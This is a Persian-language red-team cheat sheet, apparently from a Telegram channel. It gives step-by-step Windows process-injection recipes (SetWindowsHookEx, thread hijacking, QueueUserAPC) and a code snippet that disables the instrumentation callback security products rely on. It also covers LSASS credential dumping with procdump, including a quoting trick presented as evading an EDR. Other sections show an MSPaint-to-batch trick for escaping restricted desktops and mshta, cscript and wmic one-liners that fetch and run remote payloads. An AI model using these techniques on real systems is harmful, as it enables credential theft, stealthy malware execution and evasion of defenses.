Author : Nima Dabbaghi

@Nova_groups_tech

1- Hooking Injection :

این تکنیک از توابع مربوط به hooking برای تزریق یک DLL مخرب استفاده می‌کند. این تکنیک علاوه بر injection می‌تواند برای API hooking نیز به کار گرفته شود:

```
SetWindowsHookEx:

HHOOK SetWindowsHookExA(
  int       idHook,
  HOOKPROC  lpfn,
  HINSTANCE hmod,
  DWORD     dwThreadId
);
-------------------------@Nova_groups_tech-----------------------
PostThreadMessage:

BOOL PostThreadMessageA(
  DWORD  idThread,
  UINT   Msg,
  WPARAM wParam,
  LPARAM lParam
);
```

برای تکنیک بالا:

1. یک DLL حاوی این procedure hook ایجاد کنید.
2. از SetWindowsHookEx برای نصب hook در پروسس مورد هدف استفاده کنید.
3. با استفاده از PostThreadMessage یک پیام ارسال کرده و hook را فعال کنید.

PE Injection -2

این تکنیک شامل تزریق و اجرای کد مخرب در یک پروسس، از راه دور یا در همان پروسس اصلی (self-injection) می‌شود:

```
OpenThread

    HANDLE OpenThread(
      DWORD dwDesiredAccess,
      BOOL  bInheritHandle,
      DWORD dwThreadId
    );
------------------------@Nova_groups_tech-----------------------

SuspendThread

DWORD SuspendThread(
  HANDLE hThread
);
------------------------@Nova_groups_tech-----------------------
```

```
VirtualAllocEx
LPVOID VirtualAllocEx(
  HANDLE hProcess,
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);
------------------------@Nova_group_tech------------------------
WriteProcessMemory
BOOL WriteProcessMemory(
  HANDLE  hProcess,
  LPVOID  lpBaseAddress,
  LPCVOID lpBuffer,
  SIZE_T  nSize,
  SIZE_T  *lpNumberOfBytesWritten
);
------------------------@Nova_group_tech------------------------
SetThreadContext

BOOL SetThreadContext(
  HANDLE        hThread,
  const CONTEXT *lpContext
);
------------------------@Nova_group_tech------------------------
```

ResumeThread

```
DWORD ResumeThread(
  HANDLE hThread
);
```


NtResumeThread (Undocumented)

```
NTSTATUS NTAPI NtResumeThread(
  IN HANDLE ThreadHandle,
  OUT PULONG PreviousSuspendCount OPTIONAL
);
```

برای تکنیک بالا:

1. Thread هدف را با استفاده از OpenThread باز کنید.
2. Thread را با استفاده از SuspendThread بهش وقفه بدید.
3. با استفاده از VirtualAllocEx حافظه‌ای در فرآیند هدف تخصیص دهید.
4. کد مورد نظر😈 رو را با استفاده از WriteProcessMemory در حافظه تخصیص داده شده بنویسید.
5. با استفاده از SetThreadContext محتوای thread را تغییر بدید تا به کد تزریق شده اشاره کنه.
6. Thread را با استفاده از ResumeThread یا NtResumeThread از سر بگیرید.

:Process Instrumentation Callback-3

Process Instrumentation Callback is defined as the ProcessInstrumentationCallback flag (0x40) and is used by security products to detect potential direct syscall invocation by registering a callback to check if the syscall instruction comes from the executable image and not NTDLL. To bypass it for our process we just have to set Callback to NULL

PROCESS_INSTRUMENTATION-bypass-Nova

```
PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION InstrumentationCallbackInfo;

InstrumentationCallbackInfo.Version  = 0x0;
InstrumentationCallbackInfo.Reserved = 0x0;
InstrumentationCallbackInfo.Callback = NULL;

NtSetInformationProcess( hProcess, ProcessInstrumentationCallback, &InstrumentationCallbackInfo, sizeof( InstrumentationCallbackInfo ) );
```

APC Injection-4:

این تکنیک امکان اجرای کد در یک thread خاص را با قرار دادن آن در صف Asynchronous Procedure Callفراهم می‌کند. این روش به طور خاص با thread های alertable که از توابع wait alertable استفاده می‌کنند، بیشترین اثر را دارد.

در زمینه Red Team، این روش می‌تواند برای اجرای پنهانی کد در یک پروسس هدف به کار بره برای چی؟ با استفاده از عملیات موجود در thread برای تزریق و اجرای payload ها بدون ایجاد ظاهری مشکوک:

```
CreateToolhelp32Snapshot

    HANDLE CreateToolhelp32Snapshot(
      DWORD dwFlags,
      DWORD th32ProcessID
    );
------------------------@Nova_groups_tech-----------------------
Process32First

BOOL Process32First(
  HANDLE           hSnapshot,
  LPPROCESSENTRY32 lppe
);
------------------------@Nova_groups_tech-----------------------
Process32Next

BOOL Process32Next(
  HANDLE           hSnapshot,
  LPPROCESSENTRY32 lppe
);
```

```
Thread32First

BOOL Thread32First(
  HANDLE          hSnapshot,
  LPTHREADENTRY32 lpte
);
------------------------@Nova_groups_tech----------------------
Thread32Next

BOOL Thread32Next(
  HANDLE          hSnapshot,
  LPTHREADENTRY32 lpte
);
------------------------@Nova_groups_tech----------------------
QueueUserAPC

DWORD QueueUserAPC(
  PAPCFUNC  pfnAPC,
  HANDLE    hThread,
  ULONG_PTR dwData
);
------------------------@Nova_groups_tech----------------------
```

Final Part:

```
-------------------------@Nova_groups_tech-----------------------
KeInitializeAPC (Kernel-mode, undocumented)

VOID KeInitializeApc(
  PRKAPC Apc,
  PRKTHREAD Thread,
  KAPC_ENVIRONMENT Environment,
  PKKERNEL_ROUTINE KernelRoutine,
  PKRUNDOWN_ROUTINE RundownRoutine,
  PKNORMAL_ROUTINE NormalRoutine,
  KPROCESSOR_MODE ProcessorMode,
  PVOID NormalContext
);
```

برای استفاده از تکنیک بالا به ترتیب:

1. از CreateToolhelp32Snapshot برای ایجاد یک snapshot از پروسس سیستم استفاده کنید.
2. پروسس ها و thread ها را با استفاده از Process32First، Process32Next، Thread32First و Thread32Next شمارش کنید.
3. فرآیند هدف را با استفاده از OpenProcess باز کنید.
4. با استفاده از VirtualAllocEx حافظه‌ای در فرآیند هدف تخصیص دهید.
5. کد مخرب را با استفاده از WriteProcessMemory در حافظه تخصیص داده شده بنویسید.
6. یک APC به thread هدف با استفاده از QueueUserAPC ارسال کنید که به کد تزریق شده اشاره کند.

Dumping LSASS Without Mimikatz-5:

گاهی وقت ها پیش میاد که نمیتونیم به هر دلیلی mimikatz یا safetykatz رو تارگت مورد نظر ران کنیم برای همین میتونیم به روش زیر عمل کنیم:

ابتدا گرفتن ایدی پروسس LSASS با cmd :

```
PS C:\Users\nova> tasklist | findstr lsass
lsass.exe                    580 Services                   0     51,752 K
```

بسته به سیستم EDR موجود در تارگت شما ممکن است تنها با قرار دادن نام فرآیند در کوتیشن‌ها به طور موثر عمل کنید و بایپس بشه. به عنوان مثال، این روش می‌تواند مکانیزم‌های شناسایی استفاده شده توسط Cortex XDR را دور بزند.

در زمینه Red Team، این تکنیک می‌تواند برای دور زدن فیلترها یا قوانین شناسایی خاصی که توسط سیستم EDR تنظیم شده‌اند، مورد استفاده قرار گیرد و به این ترتیب اجرای فعالیت‌های مخرب به صورت پنهان‌تر انجام شود.

```
procdump.exe -accepteula -ma “lsass.exe” out.dmp
```

6- Command Prompt from MSPaint:

اگر روی سیستمی بسیار لیمیت شده هستید و نمی‌توانید یک command prompt باز کنید اما به برنامه Microsoft Paint دسترسی دارید، این روش که از طرف Simon معرفی شده می‌تواند راه‌حل شما باشد:

1. MS Paint را باز کنید؛ این برنامه با یک صفحه خالی شروع می‌شود.
2. ابعاد صفحه را تغییر دهید و آن را به عرض 6 پیکسل و ارتفاع 1 پیکسل تنظیم کنید.
3. ابزار نقاشی مداد را انتخاب کنید.

- رنگ‌های سفارشی بسازید با استفاده از گزینه Edit Colors و مقادیر RGB خاص:

```
Pixel 1 = R(10), G(0), B(0)
Pixel 2 = R(13), G(10), B(13)
Pixel 3 = R(100), G(109), B(99)
Pixel 4 = R(120), G(101), B(46)
Pixel 5 = R(0), G(0), B(101)
Pixel 6 = R(0), G(0), B(0)
```

- برای هر رنگی که می‌سازید، 1 پیکسل را از چپ به راست رنگ‌آمیزی کنید.
تصویر نهایی باید چیزی شبیه به این باشد:

1. تصویر را ذخیره کنید با استفاده از گزینه File | Save As و نوع فایل را 24-bit Bitmap انتخاب کنید. مثلاً آن را به نام `command.bmp` ذخیره کنید.
2. یک کپی از فایل بسازید و آن را به نام `command.bat` تغییر نام دهید.
3. روی فایل batch دابل‌کلیک کنید تا آن را اجرا کنید و command prompt باز خواهد شد!

6- Living off the Land; for Stealthy Execution

این تکنیک شامل استفاده از ابزارهای اسکریپت‌نویسی و مدیریت خود ویندوز برای اجرای payload های مخرب و جمع‌آوری اطلاعات سیستم بدون فعال کردن هشدارهای امنیتی نرمال است. با سو استفاده از ابزارهای داخلی مانند mshta، cscript و wmic، مهاجمان می‌توانند اقداماتی را که معمولاً با عملیات Red Team مرتبط است، به شیوه‌ای بسیار کمتر قابل شناسایی انجام بدن.

از جمله مزایای این تکنیک:

- **زیر رادار بودن**: استفاده از ابزارهای بومی ردپای حمله را تا حد قابل توجهی کاهش می‌دهد و شناسایی فعالیت‌های مخرب توسط راه‌حل‌های امنیتی را سخت‌تر می‌کند.
- **دور زدن محدودیت‌ها**: این روش از قابلیت‌های داخلی ویندوز بهره می‌برد و از محدودیت‌های اعمال شده بر روی فایل‌های اجرایی شخص ثالث جلوگیری می‌کند.
- **انعطاف‌پذیری**: امکان انجام انواع عملیات، از اجرای payload ها تا جستجوی اطلاعات سیستم و فرآیندها، را در محدوده ابزارهای استاندارد سیستم فراهم می‌کند.

```
Cscript/Wscript

cscript //E:jscript \\webdavserver\folder\payload.txt
MSHTA
-------------------------@Nova_groups_tech-----------------------

mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload
.sct"")")) mshta \\webdavserver\folder\payload.hta
-------------------------@Nova_groups_tech-----------------------

WMIC

wmic os get /format:"https://webserver/payload.xsl"
-------------------------@Nova_groups_tech-----------------------

Examining Processes with WMIC

wmic process list full
wmic process list brief
wmic process get name, parentprocessid,processid
wmic process where processid=pid get commandline
-------------------------@Nova_groups_tech-----------------------

WMI Recon

wmic process get CSName,Description,ExecutablePath,ProcessId
wmic useraccount list full
wmic group list full
wmic netuse list full
wmic qfe get Caption,Description,HotFixID,InstralledOn
wmic startup get Caption,Command,Location,User
```